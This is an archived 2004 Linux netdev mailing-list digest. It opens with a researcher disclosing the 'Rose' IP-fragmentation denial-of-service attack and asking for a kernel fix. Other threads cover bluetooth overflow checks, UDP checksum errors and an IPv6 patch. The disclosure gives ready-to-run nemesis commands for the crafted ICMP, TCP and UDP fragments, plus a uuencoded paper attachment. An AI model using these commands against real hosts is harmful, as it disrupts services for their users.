netdev-bounce@oss.sgi.com X-original-sender: gandalf@digital.net Precedence: bulk X-list: netdev Content-Length: 3804 Lines: 81 Greetings and Salutations: I have been directed to this mailing list for discussion of something I worked on. I am hoping that given the specifics that the Linux OS can be fine tuned to fix this issue. I recently received my GCFW (GIAC Certified Firewall Analyst) certification from SANS. Part of the certification requires completing a "practical", a security paper. In the certification we are required to "attack" another practical that has been previously passed. While working on this portion of the paper I came up with (I believe) a unique DoS (Denial Of Service) attack that affects the operation of most operating systems, but in this case we are discussing Linux. The "Rose" attack (as I call it) is described at: http://digital.net/~gandalf/Rose.rtf A summary of the attack: 1) The first (very small, 30 bytes) fragment of a ICMP packet is sent. This is offset 0 with the complete and correct ICMP header 2) The last fragment (again, very small) of a 64k sized fragment is sent. 3) This process is repeated with a UDP packet and a TCP packet The end result is that on my 450 MHz Linux box the CPU utilization went to 100% utilization. I had a fragmented ping from another computer running at the same time, most fragmented pings were replied to, a few were missed. The Linux box I was "attacking" returned to normal when I stopped the attack. The other interesting feature of this attack that I have seen is that the source IP address and the source and destination port do not matter. On any device. Since the packet is never fully assembled the upper levels of the IP stack never validate that the destination port is valid. I also noticed that different machines handled the ICMP reassembly Time Required error packet differently, thus this could be used for OS fingerprinting. I have cleaned up (revisited) the attack since I wrote the paper. As written the original will work the same as my cleaned up version (but below is the "technically correct" version). I fixed my input into the nemesis program (as written in the above paper) as follows. See http://www.packetfactory.net/projects/nemesis/ for the software: nemesis icmp -S 10.3.64.121 -D 172.16.1.100 -d1 -i 8 -I 7242 -P Picmpdata.txt -FM0 nemesis ip -S 10.3.64.121 -D 172.16.1.100 -d1 -I 7242 -p 1 -P Picmpdata.txt -F8100 nemesis tcp -S 10.196.212.207 -D 172.16.1.100 -d1 -I 2153 -s 2494456820 -x 36961 -y 63398 -P Ptcpdata.txt -FM0 nemesis ip -S 10.196.212.207 -D 172.16.1.100 -d1 -I 2153 -p 6 -P Ptcpdata.txt -F8100 nemesis udp -S 10.195.74.172 -D 172.16.1.100 -d1 -I 6316 -x 13253 -y 20460 -P Pudpdata.txt -FM0 nemesis ip -S 10.195.74.172 -D 172.16.1.100 -d1 -I 6316 -p 17 -P Pudpdata.txt -F8100 For testing I generated a Excel spreadsheet to put random values for many of the fields above (source IP, Sport, Dport) and thousands of packets to test against the Linux box. I ran the test using nemesis (which is, of course, too slow to affect the Linux box) and captured the packets using netwox54 : See http://www.laurentconstantin.com/en/netw/netwox/ for netwox. After that had finished running for about 9 hours or so I was able to dump the captured packets back out all at one time using netwox54 again. This is where the DoS took place, throwing all those packets at the box at once. If you want step by step instructions I can provide them. This is FYI, I am hoping that protection against this attack can be found. Ken --------------------------------------------------------------- Do not meddle in the affairs of wizards for they are subtle and quick to anger. Ken Hollis - Gandalf The White - gandalf@digital.net - O- TINLC WWW Page - http://digital.net/~gandalf/ Trace E-Mail forgery - http://digital.net/~gandalf/spamfaq.html Trolls crossposts - http://digital.net/~gandalf/trollfaq.html From davem@redhat.com Sat Feb 7 09:45:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 09:45:30 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17HjQKO004556 for ; Sat, 7 Feb 2004 09:45:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i17HjPb17527; Sat, 7 Feb 2004 12:45:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i17HjPa08216; Sat, 7 Feb 2004 12:45:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i17HiqkC002681; Sat, 7 Feb 2004 12:44:53 -0500 Date: Sat, 7 Feb 2004 09:45:24 -0800 From: "David S. Miller" To: Gandalf The White Cc: netdev@oss.sgi.com Subject: Re: Fragmentation Attack Message-Id: <20040207094524.495e883d.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3096 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 579 Lines: 16 On Sat, 07 Feb 2004 11:36:14 -0600 Gandalf The White wrote: > If you want step by step instructions I can provide them. What makes your DoS interesting is whether the attacker needs a lot of bandwidth or not. Ie. if he has to be sitting on your gigabit subnet then the attack isn't interesting. Whereas if he can eat all of the remote systems cpu cycles just being behind a cable modem, that's interesting. Which is it? Also have you done your cpu utilization tests on something a little less ancient than a 450mhz system? How fast was the network? From gandalf@digital.net Sat Feb 7 10:00:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 10:01:04 -0800 (PST) Received: from lakemtao05.cox.net (lakemtao05.cox.net [68.1.17.116]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17I0uKO005099 for ; Sat, 7 Feb 2004 10:00:57 -0800 Received: from [192.168.1.94] ([68.0.106.3]) by lakemtao05.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040207180047.MGQU29834.lakemtao05.cox.net@[192.168.1.94]>; Sat, 7 Feb 2004 13:00:47 -0500 User-Agent: Microsoft-Entourage/10.1.4.030702.0 Date: Sat, 07 Feb 2004 12:00:42 -0600 Subject: Re: Fragmentation Attack From: Gandalf The White To: "David S. Miller" CC: Linux IPStack Message-ID: In-Reply-To: <20040207094524.495e883d.davem@redhat.com> Mime-version: 1.0 Content-type: multipart/mixed; boundary="B_3159000045_290789" X-archive-position: 3097 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gandalf@digital.net Precedence: bulk X-list: netdev Content-Length: 94321 Lines: 1549 > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --B_3159000045_290789 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Greetings and Salutations: On 2/7/04 11:45 AM, "David S. Miller" wrote: > What makes your DoS interesting is whether the attacker needs > a lot of bandwidth or not. Ie. if he has to be sitting on your > gigabit subnet then the attack isn't interesting. Whereas if he > can eat all of the remote systems cpu cycles just being behind a > cable modem, that's interesting. > Which is it? The network that I was working on was a 100Mb network. This is (of course) lots of packets at one time. Attached is the excerpt from paper, I was sending somewhere around 780 packets Per Second (I didn't know if attachments were allowed to the list at first, but I saw a attachment in one of the e-mails). The requirements of the attack (from the perspective of the paper I wrote) was that you had taken over 20 cable modem computers. From this viewpoint this could (of course) produce the required number of packets IMHO. Of course you could also clog up the bandwidth of just about any destination network with this requirement, but that is a different DoS. > Also have you done your cpu utilization tests on something a little > less ancient than a 450mhz system? How fast was the network? Well, that was my problem. I didn't have much equipment to work with which is why I sent it out to a list like this. I was hoping that someone else would be able to do a test on the equipment that they had and verify my results on different equipment. I noticed on the ICMP reassembly required timeout that the packets returned were from IP addresses that were in different parts of the attacks (it helped that I put random source IP addresses in the file). It was almost as if some of the packets I had sent to the Linux box were dropped during the attack. But again this could easily be a function of the slow CPU of the box. Ken --------------------------------------------------------------- Do not meddle in the affairs of wizards for they are subtle and quick to anger. Ken Hollis - Gandalf The White - gandalf@digital.net - O- TINLC WWW Page - http://digital.net/~gandalf/ Trace E-Mail forgery - http://digital.net/~gandalf/spamfaq.html Trolls crossposts - http://digital.net/~gandalf/trollfaq.html --B_3159000045_290789 Content-type: application/msword; name="Rose.rtf"; x-mac-creator="4D535744"; x-mac-type="52544620" Content-disposition: attachment Content-transfer-encoding: x-uuencode begin 644 Rose.rtf M>UQR=&8Q7&UA8UQ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&5V96QT96UP;&%T96ED,3UQL979E;'1E>'1<;&5V96QT96UP;&%T96ED M.3@T,#UQL979E;&YU;6)EUQL979E;&YU;6)EUQL979E;&YU;6)E MUQL:7-T;&5V96Q< M;&5V96QN9F,R,UQL979E;&YF8VXR,UQL979E;&IC,%QL979E;&IC;C`-7&QE M=F5L9F]L;&]W,%QL979E;'-T87)T870Q7&QE=F5LUQL979E;'1E>'1<;&5V96QT96UP;&%T96ED-C8U-CE<)S`Q7'4M M,SDQ,R!?.WU[7&QE=F5L;G5M8F5RUQL979E;'1E>'1<;&5V96QT96UP;&%T96ED M,S(X-S$S7"UQL979E;&YU;6)EUQL:7-T;&5V96Q<;&5V96QN9F,R,UQL979E;&YF8VXR,UQL979E;&IC,%QL M979E;&IC;C!<;&5V96QF;VQL;WUQL:7-T;&5V96Q<;&5V96QN9F,R M,UQL979E;&YF8VXR,UQL979E;&IC,%QL979E;&IC;C!<;&5V96QF;VQL;W

UQL979E;&YU M;6)EUQL979E;'1E>'1<;&5V M96QT96UP;&%T96ED-C8U-CE<)S`Q7'4M,SDQ,R!?.WU[7&QE=F5L;G5M8F5R MUQL979E;'1E>'0-7&QE=F5L=&5M<&QA=&5I9#$Y-S8T,5PG M,#%O.WU[7&QE=F5L;G5M8F5RUQL:7-T;&5V96Q<;&5V96QN M9F,R,UQL979E;&YF8VXR,UQL979E;&IC,%QL979E;&IC;C!<;&5V96QF;VQL M;WUQL979E;'1E>'1<;&5V96QT96UP;&%T96ED,S(X-S$S7"UQL979E;&YU;6)EUQL:7-T7&QIUQL:7-T;&5V96P-7&QE=F5L;F9C,C-<;&5V96QN9F-N,C-< M;&5V96QJ8S!<;&5V96QJ8VXP7&QE=F5L9F]L;&]W,%QL979E;'-T87)T870Q M7&QE=F5LUQL979E;'1E>'1<;&5V96QT M96UP;&%T96ED-C8U-CE<)S`Q7'4M,SDQ,R!?.WU[7&QE=F5L;G5M8F5RUQL979E M;'1E>'1<;&5V96QT96UP;&%T96ED,S(X-S$S7"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5SUQCR`H M06-C97-S960@1&5C96UB97(@,BP@,C`P,RDN("!7:&EL92!T:&ES(&EN9F]R M;6%T:6]N(&ES(&YO="!O;B!T:&4@5410+"!I="!I2!F;W(@=&AE($E0('-T86-K('1O(&%C8V5P="!F"!B;W@@&-E961E9"(@9F]R(&%L;"!P M86-K971S+B`@3&EN=7@@'0@+49-,`U<<&%R(&YE;65S:7,@:6-M<"`M4R!75RY65BY65BY6 M5B`M1"`Q.3'0@+48X,3`P#5QP87(@?7M40U`@9FER"!86"`M>2!967M<*EQB:VUK96YD M($],15],24Y+,GT@+5`@4'1C<&1A=&$N='AT("U&33`-7'!A"!86"`M>2!962`M4"!0=&-P9&%T82YT>'0@7&5N9&%S M:"!&33@Q,#`-7'!AU5$4"!F:7)S="!FUQF,EQFU=H M97)E.@U<<&%R('U<=')O=V0@7'1R9V%P:#$P.%QT&QR=&)<8VQF='-7:61T:#-<8VQW5VED=&@Q-30X(%QC96QL>#$T-#`- M7&-L=F5R=&%L=%QC;&)R9')T7&)R9')H86ER7&)R9')W,3`@7&-L8G)D&QR=&)<8VQF='-7:61T:#-<8VQW5VED=&@R,S0P(%QC M96QL>#DS-C!<<&%R9"!<=VED8W1L<&%R7&EN=&)L7&%S<&%L<&AA7&%S<&YU M;5QF86%U=&]<861J=7-T&QR=&)<8VQF='-7:61T:#-<8VQW5VED=&@R-S`P(%QC96QL>#4Y-#!<8VQV M97)T86QT7&-L8G)D&QR=&)<8VQF='-7:61T:#-<8VQW M5VED=&@Q.#`P(%QC96QL>#,R-#!<8VQV97)T86QT7&-L8G)D&QR=&)<8VQF='-7:61T:#-<8VQW5VED=&@R-S`P(%QC96QL>#4Y-#!< M8VQV97)T86QT7&-L8G)DUQF,EQF&QR=&)<8VQF='-7:61T:#-<8VQW M5VED=&@Q,#@P(%QC96QL>#&QR=&)<8VQF='-7:61T:#-<8VQW5VED=&@R,S0P(%QC96QL>#DS-C!< M&QR=&)<8VQF='-7:61T:#-<8VQW5VED=&@R M-S`P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V4@:&%V92!A(")L96=A M;"(@'0@/2`B04YE;65S:7-40U!$871A0DYE;65S:7-40U!$82(-7'!A'0@/2`B04YE;65S:7-51%!$871A04).96UEUQF M:65L9'M<*EQF;&1I;G-T('L-($A94$523$E.2R`B:'1T<#HO+VYE;65S:7,N MUQF;&1RWM<*EQD871A9FEE;&0@#3`P M9#!C.65A-SEF.6)A8V4Q,3AC.#(P,&%A,#`T8F$Y,&(P,C`P,#`P,#$W,#`P M,#`P,C(P,#`P,#`V.#`P-S0P,#UQF;&1RR`H06-C97-S960@1&5C96UB M97(@-"P@,C`P,RDN("!4:&4@97AC96P@;W5T<'5T('=I=&@@82!N86UE(&]F M(")]>UQB(`UA='1A8VMP+F)A='U[(B!A;F0@(GU[7&(@871T86-K8FEG+F)A M='U[(B!W;W5L9"!B92!P;&%C960@;VX@=&AE(&-O;7!R;VUI"!P86-K971S("AO9B!M86YY M('1H;W5S86YDUQB(&%T=&%C:W`N8F%T?7L@ M871T86-K:6YG('1H92!(5%10('!OUQF,EQF'0@+48X,3`P#5QP87(@ M;F5M97-I"`R-30R,R`M>2`X,"`M M4"!0=&-P9&%T82YT>'0@+48X,3`P#5QP87(@;F5M97-I"`R-#,P,"`M>2`X,"`M4"!0=61P9&%T82YT>'0@+48X,3`P#5QP87(@ M?5QP87)D7'!L86EN(%QS,3=<=VED8W1L<&%R7&%S<&%L<&AA7&%S<&YU;5QF M86%U=&]<861J=7-TSH-7'!AUQB(%1H92!A M='1A8VL@=V]U;&0@8F4@UQB(&-O=6YT97)M96%S M=7)E2!T;R!T2!R;W5T97(L M(&AO<"!B>2!H;W`L('=H:6-H(&UA8VAI;F5S(&%R92!S96YD:6YG(&]U="!T M:&4@86YO;6%L;W5S('!A8VME=',N("!);G1E; Sat, 7 Feb 2004 10:10:11 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 910161553F0; Sat, 7 Feb 2004 18:24:36 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 14000) id 5D20A196B9; Sat, 7 Feb 2004 18:24:36 +0100 (CET) Date: Sat, 7 Feb 2004 18:24:36 +0100 From: Andi Kleen To: Marcel Holtmann Cc: Andi Kleen , bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk Subject: Re: some bluetooth fixes Message-ID: <20040207172436.GB449@wotan.suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> <1076152411.14418.73.camel@pegasus> <20040207125723.391a1fcd.ak@suse.de> <1076173068.2670.4.camel@pegasus> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1076173068.2670.4.camel@pegasus> X-archive-position: 3098 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 394 Lines: 9 On Sat, Feb 07, 2004 at 05:57:48PM +0100, Marcel Holtmann wrote: > I now looked carefully through your patch and changed and added some > parts to better fit into. I also fixed another RFCOMM refcount bug. > Please review it, before I send it to Dave. Doing size checks after the multiply is too late - they could have already overflowed. You have to check the raw value from the user. -Andi From jonmason@us.ibm.com Sat Feb 7 13:37:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 13:37:36 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17LbOKQ011595 for ; Sat, 7 Feb 2004 13:37:31 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i17LbIM3659614; Sat, 7 Feb 2004 16:37:18 -0500 Received: from d03nm130.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i17LbH07114104; Sat, 7 Feb 2004 14:37:18 -0700 In-Reply-To: To: Andreas Schwab Cc: cramerj@intel.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com MIME-Version: 1.0 Subject: Re: Bad UDP checksum with 82540EM X-Mailer: Lotus Notes Build V651_12042003 December 04, 2003 Message-ID: From: Jon D Mason Date: Sat, 7 Feb 2004 15:37:16 -0600 X-MIMETrack: Serialize by Router on D03NM130/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 02/07/2004 14:37:17, Serialize complete at 02/07/2004 14:37:17 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 3099 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jonmason@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 429 Lines: 10 This probably isn't helpful, but it sounds like a hardware error. Is the error occurring on multiple/all HP adapters, or only one? Also, your driver code is old, the latest is 5.2.30.1 (goto http://sourceforge.net/projects/e1000/). I don't think that has anything to do with it though. Jon Mason jonmason@us.ibm.com Software Engineer Phone:(512)838.4162 Linux eServer I/O Fax: (512)838.3509 From mika.penttila@kolumbus.fi Sat Feb 7 13:41:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 13:41:33 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17LfSKO012492 for ; Sat, 7 Feb 2004 13:41:29 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004020712391810:6610 ; Sat, 7 Feb 2004 12:39:18 +0200 Message-ID: <4024C0EA.1010904@kolumbus.fi> Date: Sat, 07 Feb 2004 12:41:46 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: =?ISO-8859-1?Q?YOSHIFUJI_Hideaki_/_=3F=3F=3F=3F?= CC: kazunori@miyazawa.org, davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine References: <4023D6FB.9010909@kolumbus.fi> <20040207.131455.27570445.yoshfuji@linux-ipv6.org> <4024A488.60203@kolumbus.fi> <20040207.192804.29120956.yoshfuji@linux-ipv6.org> In-Reply-To: <20040207.192804.29120956.yoshfuji@linux-ipv6.org> X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 07.02.2004 12:39:18, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 07.02.2004 23:42:50, Serialize complete at 07.02.2004 23:42:50 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i17LfSKO012492 X-archive-position: 3100 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev Content-Length: 1386 Lines: 47 YOSHIFUJI Hideaki / ???? wrote: >In article <4024A488.60203@kolumbus.fi> (at Sat, 07 Feb 2004 10:40:40 +0200), Mika Penttilä says: > > > >>>The ip6_output2() resolves and inserts link-layer address appropriately. >>>If it did, we would have noticed (by conformance test or even by >>>usual operation). ;-) >>> >>> >>> >>> >>ip6_output2() doesn't resolve link-layer addresses. We don't even have a >>neighbour, in >>ndisc_dst_alloc(dev, NULL, ip6_output2); case. >> >> > >ip6_output2() calls ip6_output_flinish(). >ip6_output_finish() calls dst->hh->hh_output() if hh is already built. >Otherwise, dst->neighbour->output() is called and it resolves >link-layer address of neighbor. > >I think you missed our ndsic_dst_alloc() change. >ndisc_dst_alloc() takes 4 argument: > struct dst_entry *ndisc_dst_alloc(struct net_device *dev, > struct neighbour *neigh, > struct in6_addr *addr, > int (*output)(struct sk_buff *)); >If neigh is NULL, we do ndisc_get_neigh(dev, addr) to get one. > > > hmm. where is this ndisc_dst_alloc() change? In the patch it's called with three params, only the output routine is changed : - dst = ndisc_dst_alloc(dev, NULL, ndisc_output); + dst = ndisc_dst_alloc(dev, NULL, ip6_output2); --Mika From schwab@suse.de Sat Feb 7 15:26:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 15:26:50 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17NQSKO017324; Sat, 7 Feb 2004 15:26:29 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 94C2E17372A; Sat, 7 Feb 2004 23:42:22 +0100 (CET) Received: by sykes.suse.de (Postfix, from userid 597) id D4F8F14C9F596; Sat, 7 Feb 2004 23:42:21 +0100 (CET) To: Jon D Mason Cc: cramerj@intel.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com Subject: Re: Bad UDP checksum with 82540EM References: From: Andreas Schwab X-Yow: Our father who art in heaven.. I sincerely pray that SOMEBODY at this table will PAY for my SHREDDED WHAT and ENGLISH MUFFIN.. and also leave a GENEROUS TIP... Date: Sat, 07 Feb 2004 23:42:21 +0100 In-Reply-To: (Jon D. Mason's message of "Sat, 7 Feb 2004 15:37:16 -0600") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 3101 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev Content-Length: 595 Lines: 16 Jon D Mason writes: > This probably isn't helpful, but it sounds like a hardware error. Is the > error occurring on multiple/all HP adapters, or only one? I've also seen it with a HP branded BCM5701 on IA64, but also with a Broadcom BCM5702 on AMD64 (both using the tg3 driver). It seems like broken UDP checksumming is rather common. :-( Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From ak@suse.de Sat Feb 7 19:52:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 19:52:55 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i183qYKO031014; Sat, 7 Feb 2004 19:52:34 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 70CF8175588; Sun, 8 Feb 2004 04:07:02 +0100 (CET) Date: Sun, 8 Feb 2004 07:46:43 +0100 From: Andi Kleen To: Andreas Schwab Cc: jonmason@us.ibm.com, cramerj@intel.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com Subject: Re: Bad UDP checksum with 82540EM Message-Id: <20040208074643.482ab4c7.ak@suse.de> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3102 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 742 Lines: 19 On Sat, 07 Feb 2004 23:42:21 +0100 Andreas Schwab wrote: > Jon D Mason writes: > > > This probably isn't helpful, but it sounds like a hardware error. Is the > > error occurring on multiple/all HP adapters, or only one? > > I've also seen it with a HP branded BCM5701 on IA64, but also with a > Broadcom BCM5702 on AMD64 (both using the tg3 driver). It seems like > broken UDP checksumming is rather common. :-( It could be still a software bug. When hardware checksumming is available the UDP packets use a slightly different path through the stack. Could you perhaps test if the problem occurs in a 32bit box with the same NIC ? Maybe it is some 64bit problem somewhere in software. -Andi From yoshfuji@linux-ipv6.org Sat Feb 7 21:10:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 21:10:28 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i185AOKO004292 for ; Sat, 7 Feb 2004 21:10:24 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 1F01E33CA5; Sun, 8 Feb 2004 14:11:18 +0900 (JST) Date: Sun, 08 Feb 2004 14:11:17 +0900 (JST) Message-Id: <20040208.141117.116936870.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [RFC,PATCH] remove IPV6_AUTHHDR socket option / ancillary data From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3103 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 4583 Lines: 171 Hello. AH is now handled by the XFRM engine. IPV6_AUTHHDR socket option / ancillary data are deprecated. For sender side, it is very difficult (or even almost impossible) to create "correct" AH in userspace. For receiver side, none set opt->auth and user space application never get authentication data. IPV6_AUTHHDR is very Linux-specific and applications which use these feature are not portable at all. Let's remove almost dead code. ===== include/linux/ipv6.h 1.17 vs edited ===== --- 1.17/include/linux/ipv6.h Fri Jan 16 07:15:33 2004 +++ edited/include/linux/ipv6.h Sun Feb 8 13:17:28 2004 @@ -185,7 +185,6 @@ int iif; __u16 ra; __u16 hop; - __u16 auth; __u16 dst0; __u16 srcrt; __u16 dst1; @@ -211,7 +210,6 @@ rxhlim:1, hopopts:1, dstopts:1, - authhdr:1, rxflow:1; } bits; __u8 all; ===== net/ipv6/datagram.c 1.14 vs edited ===== --- 1.14/net/ipv6/datagram.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/datagram.c Sun Feb 8 13:20:49 2004 @@ -242,10 +242,6 @@ struct ipv6_rt_hdr *rthdr = (struct ipv6_rt_hdr *)(skb->nh.raw + opt->srcrt); put_cmsg(msg, SOL_IPV6, IPV6_RTHDR, (rthdr->hdrlen+1) << 3, rthdr); } - if (np->rxopt.bits.authhdr && opt->auth) { - u8 *ptr = skb->nh.raw + opt->auth; - put_cmsg(msg, SOL_IPV6, IPV6_AUTHHDR, (ptr[1]+1)<<2, ptr); - } if (np->rxopt.bits.dstopts && opt->dst1) { u8 *ptr = skb->nh.raw + opt->dst1; put_cmsg(msg, SOL_IPV6, IPV6_DSTOPTS, (ptr[1]+1)<<3, ptr); @@ -376,26 +372,6 @@ } opt->opt_flen += len; opt->dst1opt = hdr; - break; - - case IPV6_AUTHHDR: - if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct ipv6_opt_hdr))) { - err = -EINVAL; - goto exit_f; - } - - hdr = (struct ipv6_opt_hdr *)CMSG_DATA(cmsg); - len = ((hdr->hdrlen + 2) << 2); - if (cmsg->cmsg_len < CMSG_LEN(len)) { - err = -EINVAL; - goto exit_f; - } - if (len & ~7) { - err = -EINVAL; - goto exit_f; - } - opt->opt_flen += len; - opt->auth = hdr; break; case IPV6_RTHDR: ===== net/ipv6/exthdrs.c 1.15 vs edited ===== --- 1.15/net/ipv6/exthdrs.c Thu Jan 29 09:06:25 2004 +++ edited/net/ipv6/exthdrs.c Sun Feb 8 13:14:43 2004 @@ -518,17 +518,6 @@ return &h->nexthdr; } -static u8 *ipv6_build_authhdr(struct sk_buff *skb, u8 *prev_hdr, struct ipv6_opt_hdr *opt) -{ - struct ipv6_opt_hdr *h = (struct ipv6_opt_hdr *)skb_put(skb, (opt->hdrlen+2)<<2); - - memcpy(h, opt, 